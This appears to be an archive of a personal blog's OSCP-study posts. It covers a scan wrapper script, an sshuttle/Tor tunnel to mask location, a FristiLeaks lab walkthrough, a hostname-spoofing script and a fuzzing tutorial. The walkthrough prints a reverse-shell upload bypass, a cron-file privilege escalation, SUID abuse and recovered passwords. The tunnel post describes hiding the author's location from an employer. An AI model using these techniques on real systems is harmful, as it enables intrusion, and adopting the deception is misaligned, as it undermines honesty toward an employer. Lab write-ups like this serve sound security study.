OSCP-bits #1: scan, a python wrapper script

Hi there,

I just started getting back into the OSCP course again. When I left off around May 2018, I had about 12 machines rooted and now I am back with a desire to get them all.

That’s why I am starting a miniseries called OSCP-bits, which include small pieces of scripts, knowledge or other things I learned during my OSCP studies.

So, it occurred to me that I start off scanning every machine with the same set of options, using onetwopunch.sh by superkojiman:

  • https://github.com/superkojiman/onetwopunch/blob/master/onetwopunch.sh
  • Also I recently started to always open Wireshark before scanning so I can follow what exactly is happening there. And so I spent about 3 minutes to set it all up before I would scan away. Time that I can use better on enumeration or other stuff, especially if you think about the OSCP exam.
    So what better than to automate that process in one short command? Say:

    scan

    And I did find a solution for it using python. But there are still a few rough edges to it that are a bit on the quick&dirty side of things. Parsing options from a python script to a command line script that in turn parses them to a command line program turns out to be somewhat of a pain in the butt.
    For you to make this script work, download the onetwopunch.sh script to ~/scripts , then make a copy of it:

    $ cp onetwopunch.sh onetwopunch_standard.sh

    Then you need to modify line 56 of it to suit your needs. The default of onetwopunch.sh is:

    -sV

    I changed it to the following, as I don’t mind to go all in on vulnerable VMs:

    -vv -Pn -sV -sC

    Of course this is not a perfect solution, but for the moment it works just fine.

    So then just add the script below to your /root/scripts directory on the Kali Machine and make a Symlink to your path /usr/bin :

    $ ln -s /scripts/scan /usr/bin/scan

    After opening a new shell you can type scan from everywhere and it will open up Wireshark with the capture filter host and sets it to the interface tap0 which is usually the one you will be connecting to the OSCP VPN with. It also has the switches -S -l and -k set to automatically update the packet display, enable automatic scrolling (does not work in the version provided on the OSCP VM, I did not update it) and -k to start capturing immediately.

    The script in action

    So here is the code of /root/scripts/scan , just make sure to make it executable before running it with:

    $ chmod +x scan

    Also I recommend using a terminal that is somewhat translucent, Terminator is my favourite, as it is so versatile. Just the opacity to about 80% and you can still see what’s happening in the background with not being to much deterred by it.

    #!/usr/bin/env python

    ##
    import sys
    import os
    import subprocess
    import time

    # Create a temporary textfile containing the target's hostname/ip

    f = open("/tmp/target.txt", "w+")

    target = sys.argv[1]
    input = target + "\n"
    f.write(input)
    f.close()

    print ""
    print ""
    print "Scanning " + sys.argv[1] + " ..."
    print ""
    print ""

    ## Open up wireshark in a window and set the filter to match the sending and the receiving host

    # Filter for subprocess
    _filter = str("host " + target + " ")
    _filter = str(_filter)
    pid = subprocess.Popen(['/usr/bin/wireshark', '-f', _filter, '-i', 'tap0', '-k', '-l', '-S' ]).pid

    ## Wrapper for onetwopunch.sh
    time.sleep(7)

    subprocess.check_call(['/root/scripts/onetwopunch_standard.sh', '-t', '/tmp/target.txt', '-p', 'all', '-i', 'tap0'])

    os.remove("/tmp/target.txt")

    I got a couple things on my mind what else to with that script or how to improve it, but for now it’s ripe for you to try it out and give some feedback or just work with it as is.

    Cheers,
    walksthewires

    Advertisements

    The poor man’s VPN: sshuttle

    Hi there!

    Imagine the following situation. You are in a remote place and want to connect to your home network to administer some stuff there. What would you do to achieve that? Yes a tunnel via SSH would do the trick.
    Now, one step further, say you want to route all the traffic from your remote device to appear to be coming from your home network. That’s where sshuttle comes in, as it will easily tunnel all your network traffic from your remote device to a device from your home network, where it will continue to use the home device’s Internet connection to call to the Internet.
    Also this will add another layer of encryption around the connection making it more difficult to crack, as most communications will already be SSL encrypted when you send them in the first place.
    On the downside your connection speed will be a bit slower, yet for most stuff (VoIP, Ticket Handling, RemoteDesktop) it will be enough.

    The concrete scenario

    While working abroad I need to connect remotely to my workplace via VPN. This on it’s own would of course work without any sshuttle meddling. Yet, I also want the connection to the VPN appear to come from my home network, so that my true physical location will stay the same from the perspective of the company VPN.
    Also you might have heard that tunneling one VPN over another VPN may cause issues as it creates complexity as well as possible routing problems. Be that as it may (as I did not dabble in this, yet), in our case this does not apply as you connect to your company VPN via an SSH tunnel. For the technically interested here is a link with the details how sshuttle works [LINK].

    The connection
    The way of building up the SSH tunnel connection in our scenario will look like this:
    Remote Machine → Ethernet cable → RemotePi (Bridge) → sshtunnel → HomePi → Home network (NAT)→ Home router -> Internet

    Now you check the Remote Machine’s internet connectivity and IP location, if all is fine, your IP will be appear to be your home network router’s Dynamic IP.
    With that being confirmed you can now proceed to connect to the company VPN on your Remote Machine.
    For the company VPN the connection will look like this:
    Home router → Internet → Company VPN

    Why is that useful? Well, you tell me.
    In any case you can hide your true location from anyone who is just using your regular connectivity data to track you. This might come in handy, when living under any authoritarian regimes. But be aware of any further meta data that might track you too. So please be note that in most cases this setup alone does NOT hide your physical location.
    In my specific case of course my team knows about the change of my physical location. Yet, the company we are working for, and to whose VPN we connect to, does not.
    I want you to consider that in my case, if I had not told my company that I left, the higher costs of phone calls with my colleagues would have betrayed my location. Also if somebody is in another country the “Away” message sounds usually different.
    So if you are trying to achieve more privacy with the sshuttle setup described above, those are some of the angles you might want to check, before solely relying on the sshuttle tunnel to protect said privacy.

    Hardware + Software

    So what do I need to set this up? I will just give you the list of hardware I used, of course some of it can be replaced by other stuff, but this is what I used to get it working.

    Raspberry Pi II (RemotePi)
    HW: Wifi adaptor (TP-Link TL-WN722N), network cable, 5“ LCD display, keyboard, 5V AC adaptor, SD card 16GB
    OS: Customized Raspbian by 5“ LCD display: 5inch_raspbian20170705.7z

    Raspberry Pi I (HomePi)
    HW: Network cable, 5V AC adaptor, SD card 16GB
    OS: Raspbian: 2018-06-27-raspbian-stretch.img

    To install the images to the SD Cards (with Xubuntu Linux 18.04 LTS) I usually go with the following command to do so (where sdX, is the device that represents the sdcard, e.g. /dev/sdb)
    sudo dd if=2018-06-27-raspbian-stretch.img of=/dev/sdX

    Setting up the HomePi
    Then just startup the HomePi with the newly SD-Card inserted. Make sure you are connected to the network. Then use ssh to connect to it with
    ssh pi@192.168.23.47
    and then run
    sudo raspi-config
    to run its basic setup (LINK).
    Make sure to make the following changes:
    – 1. Change User Password and set a strong passphrase (LINK)
    – 2. Network Options: N1: Change hostname to something like HomePi
    N3:
    – 3. Boot Options: B1: Desktop/CLI → change this to CLI
    – 5. Interfacing options: P2: SSH → make SSH start at startup
    – 7. Advanced options: A1: Expand filesystem

    Now reboot and update the device and also install tor and tor-arm and also deinstall a couple of stuff we won’t need:

    sudo apt-get update -y && sudo apt-get dist-upgrade -y && sudo apt-get install tor tor-arm sshuttle
    sudo apt-get purge epiphany-browser epiphany-browser-data dillo galculator gksu minecraft-pi wolfram-engine
    sudo apt-get autoremove

    SSH, interface &TOR settings
    Continue to edit this sudo nano /etc/ssh/sshd_config to contain this:
    #TOR port
    Port 12345
    ListenAddress 127.0.0.1

    #Standard SSH port
    Port 22
    ListenAddress 0.0.0.0

    And then restart the SSH service:
    service ssh restart

    Now edit your eth0 interface to alway get this IP by doing:
    sudo nano /etc/network/interfaces

    auto eth0
    allow-hotplug eth0
    iface eth0 inet static
    address 192.168.23.47
    netmask 255.255.255.0
    gateway 192.168.23.1

    This is needed so that the Port-Forwarding at your Home Router will not run into any trouble because of changing IP addresses.

    Now edit the following file:
    sudo nano /etc/tor/torrc to contain this:
    HiddenServiceDir /var/lib/tor/hidden_service_ssh_main
    HiddenServicePort 12345 127.0.0.1:12345
    AvoidDiskWrites 1
    DisableDebuggerAttachment 0

    Afterwards quickly restart both TOR and SSH services:
    sudo service tor restart && sudo service ssh restart
    Now check the /var/lib/tor/hidden_service_ssh_main folder for two files with:
    sudo ls -lah /var/lib/tor/hidden_service_ssh_main
    -rw------- 1 debian-tor debian-tor 23 Sep 7 06:25 hostname
    -rw------- 1 debian-tor debian-tor 887 Aug 21 05:41 private_key

    The hostname contains the .onion name under which you can reach the ssh service within the TOR network.

    Finally set your crontab as follows by entering sudo crontab -e
    5,35 * * * * service tor restart
    6,36 * * * * service ssh restart
    */2 * * * * curl http://sync.afraid.org/u//xxxxxxxxxxxxxxxxxx/
    */6 * * * * curl https://freedns.afraid.org/dynamic/update.php?xxxxxxxxxx
    * 18 * * * reboot #modify this to suit your timezone needs

    The entries with the services avoid that failed connections or services will render the ssh tunneling system unusable. The TOR service does work as a backup channel here, in case the main SSH services DNS setup breaks for some reason. There would be cuts in the traffic speed, but working in a CMS or S4B messaging will still work. Even VoIP calls should still be possible, but may suffer in quality.
    In general the TOR connectivity also opens up interesting possibilities when trying to fly under the radar. If setup correctly and keeping other data leaks and meta data at bay, and also given that TOR itself is not compromised, you might be able to appear to be doing your regular computer affairs from home, while at the same time being physically someplace else.
    With that configuration in place the HomePi is ready to be left to its devices in the homenetwork.

    Portforwarding & DNS domain for the HomePi

    To make this work you would also need to setup portforwarding in your router to map an external port, say changing.external.ip:12345 to a fixed.internal.ip:22. This depends on your router make. So if you look on google for „Your exact Router name“ + „Port Forwarding“ you should find some tutorials on how to do that with your Home router.
    Now with Port Forwarding in place you only need a DNS domain, so your router’s (ever changing) external IP can be constantly found in the Internet. This of course only applies to the direct SSH tunnel itself, the tunnel over the .onion address will already work without that.
    I recommend setting up a free domain with http://freedns.afraid.org/. They will provide you with such great names as haxelmaschine.chickenkiller.org and a curl one-liner that needs to constantly run via crontab to tie your current ip to your domain name .
    In our case we created two domains, both pointing to the home router, which are updated all two and six minutes.
    I also recommend http://freedns.afraid.org/ because they will let you create domains from TOR without any secondary information that might point to you. On the other hand in most cases the domain does point to your Home router, which is why that kind of OpSec, in most cases, is unnecessary. Yet, when you want to leave as few tracks as possible, maybe in some pentesting scenario, this is an option to consider.
    With all that in place your HomePi is now ready to receive SSH connections coming from the internet and should be kept on the whole time, so your tunnel is always available. It should be noted that this setup survives any power outages and just turns itself on again as soon as the power is back.

    The RemotePi

    The first part of the setup of the RemotePi resembles the setup of the HomePi. Nonetheless I will provide it here once more. Only diffrence here is that you do not set this one up over the network but using the 7“ display to do all the work.
    This part is heavly based on this guide I found on the internet, so I suggest that you look at it, too: https://siadat.github.io/post/raspberrypi-router

    RemotePi basic configuration

    Also make sure you are using the image that comes together with the 7“ display, as that saves you the hassle of setting up the display drivers manually. Yet, please not that from an OpSec perspective you might not want to use some image a vendor has pre-configured, because you cannot know for certain what software comes with it, or if it does call home. But all that is enough to write another article on just that topic alone.
    So without further due, let’s dive into it:
    To install the images to the SD Cards (with Xubuntu Linux 18.04 LTS) I usually go with the following command to do so (where sdX, is the device that represents the sdcard, e.g. /dev/sdb)
    sudo dd if=./5inch_raspbian20170705.img of=/dev/sdX

    After that you just reboot the RemotePi, and let it load into the Graphical Desktop.
    From there I will click away the configuration screen in the GUI the Pi brings, up as we will do that later again in command line mode. You can also use your Keyboard and just press „Esc“ to make it disappear.

    sudo raspi-config
    to run its basic setup (LINK).
    Make sure to make the following changes:
    – 1. Change User Password and set a strong passphrase (LINK)
    – 2. Network Options: N1: Change hostname to something like HomePi
    N3:
    – 3. Boot Options: B1: Desktop/CLI → change this to CLI
    – 5. Interfacing options: P2: SSH → make SSH start at startup
    – 7. Advanced options: A1: Expand filesystem

    Now reboot and update the device and also install tor and tor-arm dhcpcd and dnsmasq and also deinstall a couple of stuff we won’t need:
    sudo apt-get update -y && sudo apt-get dist-upgrade -y && sudo apt-get install tor tor-arm sshuttle dnsmasq dhcpd
    sudo apt-get purge epiphany-browser epiphany-browser-data dillo galculator gksu minecraft-pi wolfram-engine
    sudo apt-get autoremove

    Setting up the eth0 interface, our client connects to
    This step does setup the eth0 interface to provide our client with a static IP address with the help of DHCP. The following steps will set this up and make it permanent.

    sudo nano /etc/network/interfaces
    source-directory /etc/network/interfaces.d
    auto lo
    iface lo inet loopback
    allow-hotplug wlan0
    iface wlan0 inet manual
    wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

    sudo nano /etc/network/interfaces.d/eth0

    auto eth0
    allow-hotplug eth0
    iface eth0 inet static
    address 10.1.1.1
    netmask 255.255.255.0
    gateway 10.1.1.1

    Setting up the NAT and iptables
    This part will setup the routing of the trafic from the eth0 to wlan0 interface. You will also use dnsmasq to provide your eth0 interface with DNS, whereas dhcpcd will grant an IP address to the Client connected on eth0.

    sed -i” s/#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/ /etc/sysctl.conf
    systemctl enable wpa_supplicant && rfkill unblock wifi && systemctl restart dhcpcd
    mkdir -p /etc/iptables
    sudo nano /etc/iptables/rules.v4

    *nat
    :PREROUTING ACCEPT [98:9304]
    :INPUT ACCEPT [98:9304]
    :OUTPUT ACCEPT [2:152]
    :POSTROUTING ACCEPT [0:0]
    -A POSTROUTING -o wlan0 -j MASQUERADE
    COMMIT
    *filter
    :INPUT ACCEPT [791:83389]
    :FORWARD ACCEPT [0:0]
    :OUTPUT ACCEPT [333:34644]
    -A FORWARD -i wlan0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
    -A FORWARD -i eth0 -o wlan0 -j ACCEPT
    COMMIT

    This part will take care of the DNS resolution on the eth0 interface. I am using Google‘s DNS server (8.8.8.8) here, you might want to use something else.
    sudo nano /etc/dnsmasq.d/bridge.conf

    interface=eth0
    bind-interfaces
    server=8.8.8.8
    domain-needed
    bogus-priv
    dhcp-range=10.1.1.2,10.1.1.254,12h

    sudo nano /etc/network/if-up.d/iptables

    #!/bin/sh
    iptables-restore < /etc/iptables/rules.v4

    Creating the tunnel.sh script

    This script will provide you with a quick way to connect to your HomePi and also sets the gateway correctly.

    sudo nano ~/tunnel.sh


    #!/bin/sh
    sudo route add default gw 192.168.0.1 wlan0

    sudo sshuttle –dns -vv -r pi@yourdns.com:12345 -l 0.0.0.0 -x 192.168.0.0/24
    # where the -x parameter designates the wlan0 network, you are connecting
    # the RemotePi, with the internet, might change depending on the remote wifi

    Of course you need to make it to be executable, so you can start it:
    sudo chmod +x ~/tunnel.sh

    With all that in place, you can start to connect back to your homenetwork.
    I suggest using a Wifi hotspot on your cellphone to connect the RemotePi to while testing the setup at home.

    I will add some pictures to make the post appealing soon.

    Stay tuned for more.
    Cheers,
    cyberandspace

    Fristileaks 1.3

    The machine can be downloaded here:

    https://www.vulnhub.com/entry/fristileaks-13,133/

    Thanks to the guy who built it: Ar0xA

    It’s a beginner level Vulnerable machine which was part of some dutch hacking con, and is meant to be solved under 4 hours.

    Without further due, let’s delve into it:
    Step 1: Lets’ use netdiscover with the following command to find the host

    netdiscover -i eth0 -r 192.168.178.0/24

    Unfortunately this did not work out as, can be seen here:

    Fristi_01

    Step 2: Let’s use nmap, to scan the machine

    While booting up the virtual machine, the machine’s IP Adress is visible, which is why I do not consider finding the IP part of the game:

    nmap -A -vv -T5 -oN fristileaks 192.168.178.53

    # Nmap 7.60 scan initiated Tue Jan 9 21:37:17 2018 as: nmap -A -vv -T5 -oN fristileaks 192.168.178.53

    Nmap scan report for 192.168.178.53

    Host is up, received arp-response (0.00042s latency).

    Scanned at 2018-01-09 21:37:17 GMT for 12s

    Not shown: 999 filtered ports

    Reason: 990 no-responses and 9 host-prohibited

    PORT STATE SERVICE REASON VERSION

    80/tcp open http syn-ack ttl 64 Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

    | http-methods:

    | Supported Methods: GET HEAD POST OPTIONS TRACE

    |_ Potentially risky methods: TRACE

    | http-robots.txt: 3 disallowed entries

    |_/cola /sisi /beer

    |_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

    |_http-title: Site doesn't have a title (text/html; charset=UTF-8).

    MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

    Device type: general purpose

    Running: Linux 2.6.X|3.X

    OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3

    OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13

    TCP/IP fingerprint:

    Uptime guess: 0.011 days (since Tue Jan 9 21:21:55 2018)

    So what does this tell us?

    There is only port 80 opened on the machine.

    There’s an Apache 2.2.15 running on CentOS bundled together with DAV/2 and PHP/5.3.3

    The robots.txt reads like this:

    User-agent: *

    Disallow: /cola

    Disallow: /sisi

    Disallow: /beer

    Those might be interesting links to follow. Let’s see…

    Step 3: Visit the webpage, check disallowed pages and sourcecode for hints

    Fristi_03

    Ok, so Fristi is some sort of mixed milkdrink from the netherlands. Honestly I should have looked this up first, otherwise I wouldn’t have been stuck so long on this hint. In my defense, it’s usually quite late when I get to work on my vulnerable machines and after a long day’s work and some time in the gym I might lack some basic creativity.

    So all the links (named after drinks, obviously beer and cola, sisi is some dutch speciality, too) mentioned in the robots.txt lead to a page that only contains of the following picture:

    Screenshot from 2018-01-11 22-42-31
    Yea, the source code on all three pages reveals nothing, too. I think I will just not mention the hour I spent using dirb trying to find other directories of interest.

    Also I won’t mention the time I spent using strings, exif and foremost looking to pull any more info from the pictures the webpage gave me.

    Even the /colasisibeer directory did not exist.

    So if you do not find the obvious you need to look for the obscure. At least that’s what I though at that moment.

    So of course the next step was:

    Step 4: Looking for exploits with searchsploit

    As described above I was quite desperate at that moment, so I found myself two exploits which might fit the bill:

    searchsploit Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

    apache 2.2.15 mod_proxy - Reverse Proxy Security Bypass | exploits/linux/remote/36663.txt

    Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | exploits/linux/webapps/42745.py

    After spending another 20 minutes trying to understand what they do, I figured this is a beginner VM after all and this is surely not the intended part to take. Also since I did not want to spent more time on this, I did not shoot the exploits without understanding what they do. Think that’s a good rule to hold on to.

    Step 5: Help me internet, dammit

    So, after all this exploring in the wrong direction I consulted the unending wisdom of the internetz for some help on my lack of creativity here.

    The answer was so simple… I swear I will do my basic research up front from now on:

    http://192.168.178.53/fristi/

    So this is where the admin portal login hid. The picture says it all:

    haha

    Step 6: Back on track, checking the page source for hints

    So after quickly checking for sql injection errors (kinda pointless), I did check the source code, which indeed does look more promising:

    1) There is this comment, which contains the username possible eezeepz:

    !-- TODO: We need to clean this up for production. I left some junk in here to make testing easier. - by eezeepz --

    2) Also the source code contains two base64 encoded parts. The second part is commented out.

    The note above refering to it as junk, so let’s decode it (with encode2 being the part :

    cat encode2 | base64 --decode > out.png

    The out.png looks like this:

    kek
    So we got a possible username and this weird string keKkeKKeKKeKkEkkEk saved in a picture. Might as well be the credentials we need. After all this needs to be done in less than four hours.

    Step 7: The login does work, we got an upload page

    upload

    So with the login successful, we are able to upload pics now, possibly also a shell in php, too. So I quickly prepared pentestmonkey’s php shell (http://pentestmonkey.net/tools/web-shells/php-reverse-shell ) and created a netcat listener on my machine:

    netcat -vvl -p 8000

    So I cannot upload php files directly, the files needs to be a .png, a .jpg or a.gif file. So I change the shell’s name to shell.php.png and here we go:

    boom

    Step 8: We got shell now! Let’s explore.

    By opening http://192.168.178.53/fristi/uploads/shell.php we will get a reverse shell on our on listener:

    Fristi_06

    By default I always try this to update the shell to a tty shell, so it’s more easy to use:

    echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

    cd /tmp

    python asdf.py

    After navigating the filesystem a bit I find a note in /var/www/cgi-bin :

    hey eezeepz your homedir is a mess, go clean it up, just dont delete

    the important stuff.

    -jerry

    Following up on this, I found another notes file in /home/eezeepz

    Yo EZ,

    I made it possible for you to do some automated checks,

    but I did only allow you access to /usr/bin/* system binaries. I did

    however copy a few extra often needed commands to my

    homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those

    from /home/admin/

    Don't forget to specify the full path for each binary!

    Just put a file called "runthis" in /tmp/, each line one command. The

    output goes to the file "cronresult" in /tmp/. It should

    run every minute with my account privileges.

    - Jerry

    Intrigued. So, chmod is available with the admin user’s privileges? Let’s make the the /home/admin folder accesible to everyone.

    cd /tmp

    echo "/home/admin/chmod -R 777 /home/admin/" > runthis

    Step 9: Let’s browse the admin directory.

    admindir
    cat whoisyourgodnow.txt

    =RFn0AKnlMHMPIzpyuTI0ITG

    Interesting… let’s see.

    cat cryptedpass.txt

    mVGZ3O3omkJLmy2pcuTq

    Ok, so what’s cryptpass.py ?

    cat cryptpass.py

    #Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn

    import base64,codecs,sys

    def encodeString(str):

    base64string= base64.b64encode(str)

    return codecs.encode(base64string[::-1], 'rot13')

    cryptoResult=encodeString(sys.argv[1])

    print cryptoResult

    So, let’s built a little python script, that does the above’s script encoding in reverse. Easy, let’s build the script and decode the whoisyourgodnow.txt on my machine:

    import base64,codecs,sys

    def decodeString(str):

    reverse = (str[::-1])

    rot13string = codecs.decode(reverse, 'rot13')

    return base64.b64decode(rot13string)

    cryptoResult = decodeString(sys.argv[1])

    print cryptoResult

    Great success, the password looks to be LetThereBeFristi!

    Let’s try it!

    Step 10: Let’s login as fristigod.

    Let’s do this. Why fristigod? Because, besides the eezeepz and the admin dir, there is a fristigod dir in the /home directory.

    su - fristigod

    As soon as we are fristigod I found this:

    cd /var/fristigod/.secret_admin_stuff

    There is a SUID executable called doCom with the following permissions:

    -rwsr-sr-x 1 root root 7.4K Nov 25 2015 doCom

    I checked the file with strings:

    /lib64/ld-linux-x86-64.so.2

    __gmon_start__

    libc.so.6

    setuid

    exit

    strcat

    stderr

    system

    getuid

    fwrite

    __libc_start_main

    GLIBC_2.2.5

    fff.

    fffff.

    l$ L

    t$(L

    |$0H

    Nice try, but wrong user ;)

    Usage: ./program_name terminal_command ...

    I tried to execute this, but it did not let me:

    sudo ./doCom

    [sudo] password for fristigod: LetThereBeFristi!

    Sorry, user fristigod is not allowed to execute './doCom' as root on localhost.localdomain.

    Step 11: Following the lead in the .bash_history file

    In the home directory of fristigod I found a bash history file:

    cat .bash_history

    This looks promising:

    sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

    Let’s just try this then:

    bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

    bash-4.1# whoami

    whoami

    root

    Boom, root! Let’s wrap this up:

    cd /root

    cat fristileaks_secrets.txt

    Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

    I wonder if you beat it in the maximum 4 hours it's supposed to take!

    Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

    Flag: Y0u_kn0w_y0u_l0ve_fr1st1

    Done!

    Despite the first lack of research into what Fristi is, I think I managed to pull this off in about 4 hours. Still, there is a feeling that I cheated on this. Hopefully the next Vulnhub VM will be all my work.

    Again, thanks to the Author of Fristileaks and also a shout out to the Vulnhub.com page, which does a great job hosting all those machines.

    Cheers.

    Rebooting the blog in preparation for the OSCP Certification

    Hello again. After a long absence from blogging, I decided to reboot the blog for the preparation phase of my OSCP course, which is scheduled to start on 21st of January 2018.

     

    I decided to go along the path abatchy suggested in his blogpost (http://www.abatchy.com/2017/02/oscp-like-vulnhub-vms), and try to solve as many of the Vulnerable machines I can get my hands on before the course itself starts.

     

    The list, I shamelessly copied from his blog, reads like this:

    Beginner friendly

    Intermediate

    Not so sure (Didn’t solve them yet)

     

    In general I try to solve those machines with my own skills and knowledge. But if I get stuck I will not hesitate to use any walkthroughs available to help me through, because this way I will learn things I did not know before.

    And this might make the difference when running the OSCP test.

    Stay tuned for more to come soon.

    Hostroller 0.1 release | github.com/cyberandspace

    Hey there,

    back again with yet another little tool that makes it easier for you to spoof the trace you leave behind on a public wifi. Enter the Hostroller!

    It is an easy shellscript that interactively changes the hostname of your Ubuntu 12.04 LTS to look something more like a generic Windows or random Macbook’s name. Just run it before you run macboot and voila your connection won’t look the same. Do it everytime you connect to a public wifi and you will smear the footprint your computer leaves behind.

    Yet, beware that this is the very first release and it isn’t fully tested. So if you find some bugs please let me know. Also if you have suggestions how to improve the code in someway I’m all ears.

    Thanks goes to http://www.blackmoreops.com, who inspired some lines of code:

    http://www.blackmoreops.com/2013/12/12/change-hostname-kali-linux/#Change_hostname_randomly_in_each_boot_time

    You can find the code now under my newly installed github repo at:
    https://github.com/cyberandspace/hostroller

    But I also include it here of course:

    #!/bin/bash
    
    # Alright now, introducing The Hostname Roller v 0.1 !
    # A script to make your hostname look like a generic Windows or MacBook machine.
    # In combination with the Macbot v 0.3 script it provides the ability to spoof
    # the trace you leave on a (public) network.
    #
    #
    # NEEDED PREREQUISITES:
    # 
    # - A wordlist from http://www.outpost9.com/files/wordlists/Given-Names.zip
    #   that you need to copy to your /usr/share/dict/ directory for the script 
    #   work. 
    #
    # - The file /usr/share/dict/american-english need to be present, too.
    #
    # - Also to start system services etc. you need to be root, or sudo the script
    #
    #
    #
    
    ### Function that applies the changes provided by the main code block
    
    
    
    rollit () {
      ### This part is taken from: 
      ### http://www.blackmoreops.com/2013/12/12/change-hostname-kali-linux/#Change_hostname_randomly_in_each_boot_time
      ##  Thanks for the good work mate.
      ##  I also modified the part about the fully qualified domainname, since it is not necessary if you don't want to run a server.
    
      cp -n /etc/hosts{,.old}
      idomainname=$(domainname -i)
      fdomainname=$(domainname -f)
    
      echo $new_hostname > /etc/hostname
      mv /etc/hosts /etc/hosts.old
      echo "127.0.0.1 localhost" > /etc/hosts
      echo "127.0.1.1 $new_hostname" >> /etc/hosts
      echo "$idomainname  $fdomainname    $new_hostname" >> /etc/hosts 
      echo "$idomainname   		       $new_hostname" >> /etc/hosts
    
      echo "# The following lines are desirable for IPv6 capable hosts" >> /etc/hosts
      echo "::1     localhost ip6-localhost ip6-loopback" >> /etc/hosts
      echo "ff02::1 ip6-allnodes" >> /etc/hosts
      echo "ff02::2 ip6-allrouters" >> /etc/hosts
    
      ## I'm not to sure about this part on Ubuntu, since the Author wrote this script for Kali.
      ## So to use this script on Kali, or other Linux distros, you might have to work on that part.
    
    
      ## Cleaning up the /etc/NetworkManager/NetworkManager.conf
      service network manager stop
      sed -i  "/^[keyfile]/d" /etc/NetworkManager/NetworkManager.conf
      sed -i  "/^hostname = .*/d" /etc/NetworkManager/NetworkManager.conf
      echo "[keyfile]" >> /etc/NetworkManager/NetworkManager.conf
      echo "hostname = $new_hostname" >> /etc/NetworkManager/NetworkManager.conf
      service network-manager start
    
      echo "Rolled hostname to: $new_hostname"
      echo
      echo
      exit
    }
    
    
    
    ###
    ###	Main function
    ###
    
    clear
    echo '******* The Hostname Roller v 0.1 *******'
    echo
    echo
    echo 'Select hostname pattern from following options: '
    echo
    
    PS3='Please enter your choice: '
    options=("Option 1: Windows" "Option 2: Mac OSX" "Quit")
    
    select opt in "${options[@]}"
    do
        case $opt in
            "Option 1: Windows")
    	    echo
                echo "Creating Windows hostname ..."
    	    echo
    
                FILE=/usr/share/dict/american-english
    	    WORD=$(sort -R $FILE | head -1)
                SEED=$RANDOM
    	    PARTB=$(echo $SEED$WORD | md5sum | cut -c1,2,3,4,5,6,7,8,9,10,11 | tr '[:lower:]' '[:upper:]')
    	    new_hostname=$(echo WIN-$PARTB)
    	    rollit
    	    break
    	    ;;
    
    
       
    
            "Option 2: Mac OSX")
                echo
    	    echo "Creating MacBook hostname ..."
    	    echo
    
    	    FILE=/usr/share/dict/Given-Names
    	    NAME=$(sort -R $FILE | head -1)
    	    new_hostname=$(echo "$NAME's MacBook")
                rollit
                break
    	    ;;
    
    
    
            "Quit")
                break
                ;;
            *) echo invalid option;;
        esac
    done
    
    
    
    

    Writing a stack-based overflow exploit in Ruby with the help of vulnserver.exe and Spike 2.9

    Hello again. Today we will use our trusty workhorse Kali Linux and the tool spike to fuzz a (deliberately) vulnerable network application on a Windows XP box. From the results of the fuzzing process, we then will create a custom exploit written in Ruby. The whole post is a remake of Andrew Whittakers fuzzing series on YouTube (https://www.youtube.com/user/Hackamuffin). Yet, I prefer to write the exploit in Ruby, because it is the scripting language I am familiar with.

    Prerequisites:OS Virtualization (VMWare Workstation 9)
    – Kali Linux 1.03 virtual machine
    – Windows XP( or any above) virtual machine
    – vulnserver.exe by Stephen Bradshaw (http://grey-corner.blogspot.com)
    – Spike 2.9 (http://www.immunitysec.com/downloads/SPIKE2.9.tgz)
    – Wireshark (included in Kali)
    – The Windows and the Kali box should be on the same network (in our case 10.10.10.0/24), which should NOT be connected to the Internet.
    – Obviously never use vulnserver.exe in any production environment, as it will open up your box for remote exploits

    Installing Spike 2.9 on Kali Linux 1.03
    We need install the Spike 2.9 on our Kali box. To do so we get the tarball from source and put in the directory we want to install it.

    root@Kali:/usr/share/spike# tar xvfz SPIKE2.9.tgz
    root@Kali:/usr/share/spike# cd SPIKE/SPIKE/src
    root@Kali:/usr/share/spike/SPIKE/SPIKE/src# ./configure; make

    After that you have the needed generic_send_tcp in place and can get to work.

    Run vulnserver on your Windows box
    To run vulnserver.exe on your Windows box just unzip the vulnserver.zip to the directory Vulnserver on your desktop and start up the commandline. (Open the run link in your start menu and type cmd.exe and hit enter)
    Then change to the Vulnserver directory and run vulnserver.exe:

    C:\Documents and Settings\Administrator>cd Desktop\Vulnserver
    C:\Documents and Settings\Administrator\Desktop\Vulnserver>vulnserver.exe
    

    Windows Firewall then will pop a warning, that asks if you want to allow vulnserver through the firewall. Agree and then port 9999 (vulnserver’s standard port) will be opened on your windows box.

    Now to check if vulnserver is functional just telnet with your Kali box to it:

    root@Kali:~/telnet 10.10.10.128 9999

    You should now see the vulnserver menu and be able to issue the HELP command.
    01_Vulnserv_Menu

    Write a .spk script to run against vulnserver.exe
    To actually run a test on any variable the vulnserver.exe program offers to the user, you need to tell spike where to navigate and what to do. We first choose the appropriate bash-script, which is in our case generic_send_tcp, since vulnserver.exe is a telnet connection. Now to navigate Spike to the function to fuzz we write a short script file (.spk), that includes the needed commands. First let’s run a test on the function STATS. Just open an editor and enter this code:

    s_readline(); #Tells Spike to read what vulnserver sends
    s_string(“STATS “); #As if a user would put in STATS in the shell
    s_string_variable(“COMMAND”); #Randomizes user input (COMMAND)

    Now we just run generic_send_tcp with our script:

    root@Kali:/usr/share/spike/SPIKE/SPIKE/src/# generic_send_tcp 10.10.10.128 9999 /usr/share/spike/SPIKE/SPIKE/src/scripts/vulnserver.spk 0 0

    02_Fuzzing_STATS
